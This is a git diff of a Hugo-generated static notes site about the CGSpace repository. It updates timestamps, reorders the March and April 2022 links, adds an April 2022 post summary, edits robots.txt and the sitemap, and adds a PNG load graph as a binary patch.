                                                                                                                                                                                                9. diff --git a/docs/page/8/index.html b/docs/page/8/index.html index ef638dd82..9a11ff26a 100644 --- a/docs/page/8/index.html +++ b/docs/page/8/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -384,9 +384,9 @@ dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and
                                                                                                                                                                                                    -
                                                                                                                                                                                                  1. March, 2022
                                                                                                                                                                                                  2. +
                                                                                                                                                                                                  3. April, 2022
                                                                                                                                                                                                  4. -
                                                                                                                                                                                                  5. April, 2022
                                                                                                                                                                                                  6. +
                                                                                                                                                                                                  7. March, 2022
                                                                                                                                                                                                  8. February, 2022
                                                                                                                                                                                                  9. diff --git a/docs/page/9/index.html b/docs/page/9/index.html index e2c4e739d..4b45b920e 100644 --- a/docs/page/9/index.html +++ b/docs/page/9/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -145,9 +145,9 @@
                                                                                                                                                                                                      -
                                                                                                                                                                                                    1. March, 2022
                                                                                                                                                                                                    2. +
                                                                                                                                                                                                    3. April, 2022
                                                                                                                                                                                                    4. -
                                                                                                                                                                                                    5. April, 2022
                                                                                                                                                                                                    6. +
                                                                                                                                                                                                    7. March, 2022
                                                                                                                                                                                                    8. February, 2022
                                                                                                                                                                                                    9. diff --git a/docs/posts/index.html b/docs/posts/index.html index 8001303e8..1fdc5e0fa 100644 --- a/docs/posts/index.html +++ b/docs/posts/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -96,6 +96,24 @@ +
                                                                                                                                                                                                      +
                                                                                                                                                                                                      +

                                                                                                                                                                                                      April, 2022

                                                                                                                                                                                                      + +
                                                                                                                                                                                                      + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + Read more → +
                                                                                                                                                                                                      + + + + + +

                                                                                                                                                                                                      March, 2022

                                                                                                                                                                                                      @@ -122,24 +140,6 @@ -
                                                                                                                                                                                                      -
                                                                                                                                                                                                      -

                                                                                                                                                                                                      April, 2022

                                                                                                                                                                                                      - -
                                                                                                                                                                                                      - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - Read more → -
                                                                                                                                                                                                      - - - - - -

                                                                                                                                                                                                      February, 2022

                                                                                                                                                                                                      @@ -380,9 +380,9 @@
                                                                                                                                                                                                        -
                                                                                                                                                                                                      1. March, 2022
                                                                                                                                                                                                      2. +
                                                                                                                                                                                                      3. April, 2022
                                                                                                                                                                                                      4. -
                                                                                                                                                                                                      5. April, 2022
                                                                                                                                                                                                      6. +
                                                                                                                                                                                                      7. March, 2022
                                                                                                                                                                                                      8. February, 2022
                                                                                                                                                                                                      9. diff --git a/docs/posts/index.xml b/docs/posts/index.xml index 22bcc06c6..a4b96d859 100644 --- a/docs/posts/index.xml +++ b/docs/posts/index.xml @@ -6,7 +6,16 @@ Recent content in Posts on CGSpace Notes Hugo -- gohugo.io en-us - Tue, 01 Mar 2022 16:46:54 +0300 + Fri, 01 Apr 2022 10:53:39 +0300 + + April, 2022 + https://alanorth.github.io/cgspace-notes/2022-04/ + Fri, 01 Apr 2022 10:53:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + + March, 2022 https://alanorth.github.io/cgspace-notes/2022-03/ @@ -24,15 +33,6 @@ </span></span></code></pre></div> - - April, 2022 - https://alanorth.github.io/cgspace-notes/2022-03/ - Tue, 01 Mar 2022 10:53:39 +0300 - - https://alanorth.github.io/cgspace-notes/2022-03/ - 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. - - February, 2022 https://alanorth.github.io/cgspace-notes/2022-02/ diff --git a/docs/posts/page/2/index.html b/docs/posts/page/2/index.html index 01281faa3..18a53bd74 100644 --- a/docs/posts/page/2/index.html +++ b/docs/posts/page/2/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -396,9 +396,9 @@
                                                                                                                                                                                                          -
                                                                                                                                                                                                        1. March, 2022
                                                                                                                                                                                                        2. +
                                                                                                                                                                                                        3. April, 2022
                                                                                                                                                                                                        4. -
                                                                                                                                                                                                        5. April, 2022
                                                                                                                                                                                                        6. +
                                                                                                                                                                                                        7. March, 2022
                                                                                                                                                                                                        8. February, 2022
                                                                                                                                                                                                        9. diff --git a/docs/posts/page/3/index.html b/docs/posts/page/3/index.html index 2549bfbb4..42ca7e23a 100644 --- a/docs/posts/page/3/index.html +++ b/docs/posts/page/3/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -419,9 +419,9 @@
                                                                                                                                                                                                            -
                                                                                                                                                                                                          1. March, 2022
                                                                                                                                                                                                          2. +
                                                                                                                                                                                                          3. April, 2022
                                                                                                                                                                                                          4. -
                                                                                                                                                                                                          5. April, 2022
                                                                                                                                                                                                          6. +
                                                                                                                                                                                                          7. March, 2022
                                                                                                                                                                                                          8. February, 2022
                                                                                                                                                                                                          9. diff --git a/docs/posts/page/4/index.html b/docs/posts/page/4/index.html index 59293c88e..d54e057c1 100644 --- a/docs/posts/page/4/index.html +++ b/docs/posts/page/4/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -444,9 +444,9 @@ $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace
                                                                                                                                                                                                              -
                                                                                                                                                                                                            1. March, 2022
                                                                                                                                                                                                            2. +
                                                                                                                                                                                                            3. April, 2022
                                                                                                                                                                                                            4. -
                                                                                                                                                                                                            5. April, 2022
                                                                                                                                                                                                            6. +
                                                                                                                                                                                                            7. March, 2022
                                                                                                                                                                                                            8. February, 2022
                                                                                                                                                                                                            9. diff --git a/docs/posts/page/5/index.html b/docs/posts/page/5/index.html index 857278e24..7898d0ce0 100644 --- a/docs/posts/page/5/index.html +++ b/docs/posts/page/5/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -423,9 +423,9 @@ sys 2m7.289s
                                                                                                                                                                                                                -
                                                                                                                                                                                                              1. March, 2022
                                                                                                                                                                                                              2. +
                                                                                                                                                                                                              3. April, 2022
                                                                                                                                                                                                              4. -
                                                                                                                                                                                                              5. April, 2022
                                                                                                                                                                                                              6. +
                                                                                                                                                                                                              7. March, 2022
                                                                                                                                                                                                              8. February, 2022
                                                                                                                                                                                                              9. diff --git a/docs/posts/page/6/index.html b/docs/posts/page/6/index.html index 1294c4e9d..86b9f4c27 100644 --- a/docs/posts/page/6/index.html +++ b/docs/posts/page/6/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -437,9 +437,9 @@ COPY 54701
                                                                                                                                                                                                                  -
                                                                                                                                                                                                                1. March, 2022
                                                                                                                                                                                                                2. +
                                                                                                                                                                                                                3. April, 2022
                                                                                                                                                                                                                4. -
                                                                                                                                                                                                                5. April, 2022
                                                                                                                                                                                                                6. +
                                                                                                                                                                                                                7. March, 2022
                                                                                                                                                                                                                8. February, 2022
                                                                                                                                                                                                                9. diff --git a/docs/posts/page/7/index.html b/docs/posts/page/7/index.html index fee3989f1..ab75a4ae1 100644 --- a/docs/posts/page/7/index.html +++ b/docs/posts/page/7/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -388,9 +388,9 @@ DELETE 1
                                                                                                                                                                                                                    -
                                                                                                                                                                                                                  1. March, 2022
                                                                                                                                                                                                                  2. +
                                                                                                                                                                                                                  3. April, 2022
                                                                                                                                                                                                                  4. -
                                                                                                                                                                                                                  5. April, 2022
                                                                                                                                                                                                                  6. +
                                                                                                                                                                                                                  7. March, 2022
                                                                                                                                                                                                                  8. February, 2022
                                                                                                                                                                                                                  9. diff --git a/docs/posts/page/8/index.html b/docs/posts/page/8/index.html index ccf6eb62b..3d6feb794 100644 --- a/docs/posts/page/8/index.html +++ b/docs/posts/page/8/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -384,9 +384,9 @@ dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and
                                                                                                                                                                                                                      -
                                                                                                                                                                                                                    1. March, 2022
                                                                                                                                                                                                                    2. +
                                                                                                                                                                                                                    3. April, 2022
                                                                                                                                                                                                                    4. -
                                                                                                                                                                                                                    5. April, 2022
                                                                                                                                                                                                                    6. +
                                                                                                                                                                                                                    7. March, 2022
                                                                                                                                                                                                                    8. February, 2022
                                                                                                                                                                                                                    9. diff --git a/docs/posts/page/9/index.html b/docs/posts/page/9/index.html index 35256770d..6f0deae84 100644 --- a/docs/posts/page/9/index.html +++ b/docs/posts/page/9/index.html @@ -10,14 +10,14 @@ - + - + @@ -31,7 +31,7 @@ "@type": "Person", "name": "Alan Orth" }, - "dateModified": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-01T10:53:39+03:00", "keywords": "notes, migration, notes", "description":"Documenting day-to-day work on the [CGSpace](https://cgspace.cgiar.org) repository." } @@ -145,9 +145,9 @@
                                                                                                                                                                                                                        -
                                                                                                                                                                                                                      1. March, 2022
                                                                                                                                                                                                                      2. +
                                                                                                                                                                                                                      3. April, 2022
                                                                                                                                                                                                                      4. -
                                                                                                                                                                                                                      5. April, 2022
                                                                                                                                                                                                                      6. +
                                                                                                                                                                                                                      7. March, 2022
                                                                                                                                                                                                                      8. February, 2022
                                                                                                                                                                                                                      9. diff --git a/docs/robots.txt b/docs/robots.txt index a008419cc..e6b39c479 100644 --- a/docs/robots.txt +++ b/docs/robots.txt @@ -1,9 +1,9 @@ User-agent: * +Disallow: /cgspace-notes/2022-04/ Disallow: /cgspace-notes/categories/ Disallow: /cgspace-notes/ -Disallow: /cgspace-notes/2022-03/ Disallow: /cgspace-notes/categories/notes/ Disallow: /cgspace-notes/posts/ Disallow: /cgspace-notes/2022-03/ diff --git a/docs/sitemap.xml b/docs/sitemap.xml index 90a684459..b8b8f7795 100644 --- a/docs/sitemap.xml +++ b/docs/sitemap.xml @@ -2,23 +2,23 @@ + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-27T08:44:10+03:00 + https://alanorth.github.io/cgspace-notes/categories/ - 2022-04-24T21:06:28+03:00 + 2022-04-27T08:44:10+03:00 https://alanorth.github.io/cgspace-notes/ - 2022-04-24T21:06:28+03:00 + 2022-04-27T08:44:10+03:00 + + https://alanorth.github.io/cgspace-notes/categories/notes/ + 2022-04-27T08:44:10+03:00 + + https://alanorth.github.io/cgspace-notes/posts/ + 2022-04-27T08:44:10+03:00 https://alanorth.github.io/cgspace-notes/2022-03/ 2022-04-04T19:15:58+03:00 - - https://alanorth.github.io/cgspace-notes/categories/notes/ - 2022-04-24T21:06:28+03:00 - - https://alanorth.github.io/cgspace-notes/posts/ - 2022-04-24T21:06:28+03:00 - - https://alanorth.github.io/cgspace-notes/2022-03/ - 2022-04-24T21:06:28+03:00 https://alanorth.github.io/cgspace-notes/2022-02/ 2022-03-01T17:17:27+03:00 diff --git a/docs/tags/index.html b/docs/tags/index.html index 0702410a0..c91f2e7fc 100644 --- a/docs/tags/index.html +++ b/docs/tags/index.html @@ -17,7 +17,7 @@ - + @@ -122,9 +122,9 @@
                                                                                                                                                                                                                          -
                                                                                                                                                                                                                        1. March, 2022
                                                                                                                                                                                                                        2. +
                                                                                                                                                                                                                        3. April, 2022
                                                                                                                                                                                                                        4. -
                                                                                                                                                                                                                        5. April, 2022
                                                                                                                                                                                                                        6. +
                                                                                                                                                                                                                        7. March, 2022
                                                                                                                                                                                                                        8. February, 2022
                                                                                                                                                                                                                        9. diff --git a/docs/tags/migration/index.html b/docs/tags/migration/index.html index 8b2dc3922..52cb6b60f 100644 --- a/docs/tags/migration/index.html +++ b/docs/tags/migration/index.html @@ -17,7 +17,7 @@ - + @@ -155,9 +155,9 @@
                                                                                                                                                                                                                            -
                                                                                                                                                                                                                          1. March, 2022
                                                                                                                                                                                                                          2. +
                                                                                                                                                                                                                          3. April, 2022
                                                                                                                                                                                                                          4. -
                                                                                                                                                                                                                          5. April, 2022
                                                                                                                                                                                                                          6. +
                                                                                                                                                                                                                          7. March, 2022
                                                                                                                                                                                                                          8. February, 2022
                                                                                                                                                                                                                          9. diff --git a/docs/tags/notes/index.html b/docs/tags/notes/index.html index b4c30fc25..564dad75a 100644 --- a/docs/tags/notes/index.html +++ b/docs/tags/notes/index.html @@ -17,7 +17,7 @@ - + @@ -385,9 +385,9 @@ DELETE 1
                                                                                                                                                                                                                              -
                                                                                                                                                                                                                            1. March, 2022
                                                                                                                                                                                                                            2. +
                                                                                                                                                                                                                            3. April, 2022
                                                                                                                                                                                                                            4. -
                                                                                                                                                                                                                            5. April, 2022
                                                                                                                                                                                                                            6. +
                                                                                                                                                                                                                            7. March, 2022
                                                                                                                                                                                                                            8. February, 2022
                                                                                                                                                                                                                            9. diff --git a/docs/tags/notes/page/2/index.html b/docs/tags/notes/page/2/index.html index d2d44a3aa..7a76873b8 100644 --- a/docs/tags/notes/page/2/index.html +++ b/docs/tags/notes/page/2/index.html @@ -17,7 +17,7 @@ - + @@ -371,9 +371,9 @@ dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and
                                                                                                                                                                                                                                -
                                                                                                                                                                                                                              1. March, 2022
                                                                                                                                                                                                                              2. +
                                                                                                                                                                                                                              3. April, 2022
                                                                                                                                                                                                                              4. -
                                                                                                                                                                                                                              5. April, 2022
                                                                                                                                                                                                                              6. +
                                                                                                                                                                                                                              7. March, 2022
                                                                                                                                                                                                                              8. February, 2022
                                                                                                                                                                                                                              9. diff --git a/docs/tags/notes/page/3/index.html b/docs/tags/notes/page/3/index.html index 92051bb1a..387e3acbf 100644 --- a/docs/tags/notes/page/3/index.html +++ b/docs/tags/notes/page/3/index.html @@ -17,7 +17,7 @@ - + @@ -180,9 +180,9 @@
                                                                                                                                                                                                                                  -
                                                                                                                                                                                                                                1. March, 2022
                                                                                                                                                                                                                                2. +
                                                                                                                                                                                                                                3. April, 2022
                                                                                                                                                                                                                                4. -
                                                                                                                                                                                                                                5. April, 2022
                                                                                                                                                                                                                                6. +
                                                                                                                                                                                                                                7. March, 2022
                                                                                                                                                                                                                                8. February, 2022
                                                                                                                                                                                                                                9. diff --git a/static/2022/04/cgspace-load.png b/static/2022/04/cgspace-load.png new file mode 100644 index 0000000000000000000000000000000000000000..02851e3d69e8cb6973d05520a932f9734f2c8935 GIT binary patch literal 81572 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 